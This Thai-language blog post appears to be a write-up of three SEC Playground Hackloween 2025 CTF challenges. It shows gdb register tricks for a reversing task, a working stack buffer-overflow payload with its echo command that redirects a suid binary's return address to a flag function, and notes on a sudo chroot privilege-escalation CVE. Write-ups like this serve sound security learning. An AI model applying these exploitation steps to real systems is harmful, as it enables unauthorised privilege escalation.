Sitemap

SEC Playground Hackloween2025 CTF: Rev&Pwn-Pentest Writeup

5 min readNov 5, 2025

--

Press enter or click to view image in full size
Hackloween2025! — @secplayground

สวัสดีครับ!

งาน Hackloween 2025 เป็น CTF ธีมหาเรือผีเรื่องความปลอดภัย ที่จัดโดย SEC Playground เพื่อให้ทุกคนได้ทดสอบฝีมือด้าน Cyber Security ทั้ง Reverse, Forensics, Web, Pwn และอื่นๆอย่างสนุกๆ 🎃

ปีที่แล้วผมพลาดที่จะเข้าร่วมงานนี้ไป เพราะฉนั้น
ในวันนี้เราจะมาดูโจทย์ในหัวข้อ Reverse Engineering กับ Pwnable-Pentest กันครับ~

Topic :

  • witchtour (Rev)
  • Ecnelis Llih F #1 & #2 (Pwn-Pentest)
  • wiki2 (Pwn-Pentest)

ไฟล์โจทย์ : https://github.com/XCNXD/CTF-Writeup/tree/main/SEC%20Playground%20Hackloween2025%20CTF/Rev%26Pwn-Pentest

witchtour (Rev)

Press enter or click to view image in full size

จากโจทย์ใน Website บอกว่า ให้ใส่ตัวอักษร 0, 1, 2 หรือ 3 ทั้งหมด 576 ตัวอักษร

ถ้างั้นผมขอทดลองก่อนนะครับ

python -c ‘print(“1”*576)’ | ./witchtour

Press enter or click to view image in full size

อืมมม 🤔
คิดว่าน่าจะให้วาดอะไรสักอย่างเป็นรูปที่เค้าต้องการ
ถ้าอย่างงั้น เรามาลองอ่านโค้ดของโปรแกรมกันเลยไหมครับ?

โดยโปรแกรมที่ผมใช้แกะ Binary ตัวนี้จะเป็น IDA — Interactive DisAssembler ครับ

จากตัวโค้ดที่ decompile มา เรามาลองทำความเข้าใจ logic ของโปรแกรมกันดีกว่า~

  1. sub_1320 จะรับ input เข้ามา 0x2000
  2. sub_1460 ทำหน้าที่แสดงผลค่าที่ใส่เข้าไป putchar
  3. sub_14F0 จะทำอะไรสักอย่างกับข้อมูล เพื่อนำไปเปรียบเทียบกับ &unk_20c0 ครับ
  4. ถ้าสมมุติว่า &unk_20c0 กับ s1 ตรงกัน ก็จะเรียกใช้ sub_1690 ด้วย s1
    ซึ่งผมเดาว่าอันนี้นี่แหละ ที่จะแสดง flag ออกมาครับ!

ว่ากันตามตรงเลย ผมไม่ได้แก้โจทย์ Reverse Engineering นานมากๆ ตอนนี้ skill หายไปเกือบหมดแล้วครับ 555

แต่ผมสามารถให้ไอเดียได้แบบนี้!

Press enter or click to view image in full size

ตามปกติแล้ว ถ้าเงื่อไขด้านบนผ่านก็จะเรียกใช้ sub_1690(s1) โดยที่ s1 เท่ากับ unk_20c0

แสดงว่าเราก็สามารถเรียกใช้ sub_1690(&unk_20c0) ได้เลยไม่ใช่หรอ?
ไม่จำเป็นต้องใส่ input ให้มันไป encrypt/encode

ก็แค่ debug ที่ไหนสักที่นึงแล้วก็เปลี่ยน rip = sub_1690 และ rdi = &unk_20c0

ว่าแล้วก็ลองกันเลยดีกว่า

gdb witchtour
(gdb) break main

อ๊ะ เหมือนว่า main จะไม่อยู่ใน binary นะ

Press enter or click to view image in full size

เป็นเพราะว่า Binary ตัวนี้ถูก stripped ไว้ ทำให้มันจะไม่เก็บ symbols Function เอาไว้

รวมถึง pwn cheksec ในตอนแรกก็บอกว่า มี Position Independent Executable หรือ PIE อยู่ด้วย
ทำให้เราไม่สามารถเข้าถึง &unk_20c0 ตรงๆได้

Press enter or click to view image in full size
memcmp

วิธีที่ดีที่สุดก็น่าจะเป็นการเลือก memcmp มาเป็น breakpoint ครับ
เนื่องจากว่ามีการใช้ &unk_20c0 ทำให้ไม่ต้องไป Defeat ASLR อีกด้วย

gdb witchtour
(gdb) break memcmp
(gdb) r <<< $(python -c 'print("0"*576)')
(gdb) info registers
Press enter or click to view image in full size
(gdb) info registers

จะเห็นว่า rsi จะเก็บว่าอะไรสักอย่างอยู่ ซึ่งมันก็คือ &unk_20c0 ที่มาจาก memcpy(s1, &unk_20c0, ...) นั่นเอง!

จด 0x5555555560c0 เก็บไว้ครับๆ

เหตุผลที่ Argument 1 เป็น rdi และ Argument 2 เป็น rsi เพราะว่า Calling Convention ของ x86_64 ครับ
https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md#Calling-Conventions

ตอนนี้เรารันอยู่ที่ memcpy แต่ต้องการจะเปลี่ยนไปรัน sub_1690 แทน
รวมถึงต้องการเปลี่ยน arg2 เป็น arg1 (rdi = rsi) เราสามารถทำได้แบบนี้ครับ

อันดับแรก พิมพ์ finish เพื่อให้กลับไปที่ main

Press enter or click to view image in full size

คำนวนเพื่อ bypass Aslr และหาว่า sub_1690 อยู่ที่ไหน
0x5555555551c6 — 0x11c6 + 0x1690 = 0x555555555690

Get Natsuiro XCN’s stories in your inbox

Join Medium for free to get updates from this writer.

แล้วก็เปลี่ยน rip ครับ กับ rdi ครับ

(gdb) set $rip = 0x555555555690
(gdb) set $rdi = 0x5555555560c0
(gdb) c
Press enter or click to view image in full size

ประมาณนี้ครับสำหรับข้อ Reverse Engineering
ขออภัยด้วยครับ ที่ทำแบบ static analysis ไม่ได้
สกิลการ Rev ผมมันหายไปนานแล้วจริงๆ 😭

Ecnelis Llih F #1 & #2 (Pwn-Pentest)

  • * ข้อ 1, 2 ทำเหมือนกัน แค่เปลี่ยน Address / Function /Architecture ครับ *
  • ผมขอยกตัวอย่างเป็นข้อ 2 นะครับ

เราจะได้รับ SSH มา โดยที่ข้างในนั้นจะมีไฟล์ชื่อ hinako ที่เป็น suid อยู่ครับ (ไม่ได้ถ่ายรูปไว้)

ทำการคัดลอกไฟล์จาก ssh ลงเครื่องคอมพิวเตอร์ผ่าน scp แล้วเราก็จะมาแกะ Binary กัน!

Press enter or click to view image in full size

โปรแกรมมีการเรียกใช้ newgameplus ด้วย argv ที่เราใส่เข้าไป

อื่ม น่าสนใจ

แล้วข้างใน newgameplus มีอะไรอยู่ไหมนะ

void __cdecl newgameplus(char *input_string)
{
char buffer[16]; // [rsp+10h] [rbp-10h] BYREF

printf("Location : %p\n", buffer);
strcpy(buffer, input_string);
printf("There are your friends, are they: %s\n", buffer);
printf("Happy Ceremony");
}

จากโค้ด โปรแกรมมี Buffer Overflow ที่ buffer
เนื่องจากไม่ได้กำหนดขนาดของ argv ที่แน่ชัด

ผมลองดู List ของ Function แล้วเจอตัวนึงที่ชื่อว่า kazuaki

Press enter or click to view image in full size

และดูเหมือนว่าจะเป็น Function ที่จะแสดง Flag ออกมา

เท่ากับว่า สิ่งที่เราต้องทำก็คือ สร้าง payload ขึ้นมาเพื่อ Buffer Overflow เปลี่ยน Return Address ไปที่ kazuki (0x4012B6)

แต่ก่อนจะ Craft Payload เรามาดูที่ checsec กันก่อนครับ

pwn checksec

โอเค
No Canary Found หมายความว่าเราสามารถ Buffer Overflow เพื่อควบคุม Control Flow ได้
No PIE หมายความว่า Base Address จะไม่ถูกสุ่มโหลดไปบน Memory (Static)

เราสามารถสร้าง Payload ได้ประมาณนี้ครับ

Press enter or click to view image in full size
bof payload

16 bytes แรกสำหรับ Padding BOF
8 bytes ต่อมาไปทับ rbp
8 bytes สุดท้ายทับ rip ให้ไปเรียกใช้ kazuki (0x4012B6) ครับ

หลังจากนั้นก็สร้างเป็น Command ครับ

echo -e 'aaaaaaaaaaaaaaaaBBBBBBBB\xb6\x12@\x00\x00\x00\x00\x00' > x.txt 
./hinako $(cat x.txt)

เราไปลองรันกันเลยไหม?

Press enter or click to view image in full size
exp@machine-690569bcae14e3f3f258f63d-7351d0c:~$ echo -e 'aaaaaaaaaaaaaaaaBBBBBBBB\xb6\x12@\x00' > x.txt 
exp@machine-690569bcae14e3f3f258f63d-7351d0c:~$ sudo ./hinako $(cat x.txt)
-bash: warning: command substitution: ignored null byte in input
[sudo] password for exp:
Game started.
Location : 0x7fffffffe420
There are your friends, are they: aaaaaaaaaaaaaaaaBBBBBBBB�@
Happy Ceremony!!! Congrats!! You got married!!!
The flag is pwnable{3l6GAuV2RQ}

สำหรับข้อ Ecnelis Llih F ก็มีเท่านี้ครับผมม

ทั้ง 2 ข้อจะต่างกันแค่ Architecture และ Address เฉยๆครับ
วิธีทำเหมือนกันเลยย

wiki2 (Pwn-Pentest)

* เล่าประสบการณ์นะครับ ไม่มีได้เก็บภาพไว้ 😢*

ว่ากันตามตรงครับ ข้อนี้ผมงมอยู่นานมากกก

หลังจากรัน linpeas ไปผมก็เจอว่า sudo Version นี้มีช่องโหว่ chroot LPE (CVE‑2025‑32463)

หลังจาก Enumueration ไปซักพักนึง เราก็เจอ default password ซ่อนอยู่ในไฟล์ setup.sh อะไรสักอย่างนี่แหละ ซึ่งมันคือ password ของ user uncle

รวมถึง uncle ที่เป็น User ของเรามีสิทธิ์ที่จะ sudo จาก /etc/sudoers ที่บอกไว้ว่า uncle prod=(ALL)

เนี่ย ยังไงมันก็เป็น chroot CVE แน่ๆ
แต่ว่าหลังจากลองรัน sudo
มันก็บอกว่า hostname ไม่ตรง มันไม่ใช่ prod คุณไม่มีสิทธิ์รัน sudo

เอ้า!! 😭😭😭

สุดท้าย ผมไปรัน linpeas แบบ fat และใส่ -a ให้มัน enum ใหม่
หลังจากนั้นนำ input ไปแปะไว้ใน vscode กด CTRL + F ค้นหา pwn

แล้วผมก็บังเอิญเจอ Flag อยู่ใน Env

: ) ? 🙂?

=============================================================

2nd place!

ขอบคุณทีมงาน SEC Playground ที่จัดงาน Hackloween 2025 CTF ให้ได้มาลองของกันอีกรอบ สนุกมากๆ อีกครั้งนะครับบ 🙏🙏

หวังว่า write-up นี้จะช่วยคนที่กำลังศึกษา หรือกำลังตามหาวิธีการแก้โจทย์ได้อย่างดีเยี่ยมนะครับ!

และนี่ก็คือทั้งหมดของ writeup นี้ครับ! ไว้เจอกันครั้งหน้า!

以上です!

--

--